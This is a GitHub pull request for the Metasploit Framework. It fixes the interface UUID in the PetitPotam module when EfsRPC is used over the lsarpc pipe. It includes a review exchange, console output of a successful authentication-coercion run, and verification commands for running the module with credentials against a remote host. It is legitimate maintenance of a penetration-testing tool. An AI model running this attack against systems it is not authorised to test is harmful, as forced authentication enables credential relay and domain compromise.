Fix PetitPotam UUID when using EsfRPC with lsarpc named pipe
#19833
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| @@ -9,6 +9,12 @@ | |||
| require 'ruby_smb/dcerpc/lsarpc' | |||
| require 'ruby_smb/dcerpc/efsrpc' | |||
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| module RubySMB::Dcerpc::EfsrpcOverLsarpc | |||
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If we want this to be accessible from RubySMB then we should probably move it there. I think this is more of an edge case though for petitpotam though so it make make more sense to just define an EfsrpcOverLsarpc module in the MetasploitModule class to avoid altering the global namespace.
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Yes, it makes sense. I've addressed this in b3c2ae4. Thank you!
New and Improved:Old and busted: |
smcintyre-r7
approved these changes
Jan 27, 2025
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metasploit-framework (S:0 J:0) auxiliary(scanner/dcerpc/petitpotam) > run
[*] 192.168.159.10:445 - Binding to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.10[\lsarpc] ...
[*] 192.168.159.10:445 - Bound to c681d488-d850-11d0-8c52-00c04fd90f7e:1.0@ncacn_np:192.168.159.10[\lsarpc] ...
[*] 192.168.159.10:445 - Attempting to coerce authentication via EfsRpcOpenFileRaw
[*] 192.168.159.10:445 - Server responded with ERROR_ACCESS_DENIED (Access is denied.)
[*] 192.168.159.10:445 - Attempting to coerce authentication via EfsRpcEncryptFileSrv
[+] 192.168.159.10:445 - Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
[*] 192.168.159.10:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(scanner/dcerpc/petitpotam) >
Release NotesThis fixes an issue with the petitpotam module where in the default configuration, an incorrect service UUID was being used. |
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According to 3.1.4.2 EFSRPC Interface, the UUID to bind to is different according to which server interface is used:
The current implementation of PetitPotam uses the LsaRPC UUID (
12345778-1234-abcd-ef00-0123456789ab) when EsfRPC is used with thelsarpcnamed pipe. It should bec681d488-d850-11d0-8c52-00c04fd90f7einstead.This PR fixes this by adding a specific class (
EfsrpcOverLsarpc), overriding theUUIDconstant.Verification
msfconsoleuse auxiliary/scanner/dcerpc/petitpotamrun verbose=true rhosts=<remote host> SMBUser=<username> SMBPass=<password> SMBDomain=<domain if needed>Server responded with ERROR_BAD_NETPATH which indicates that the attack was successfulBefore this fix
After the fix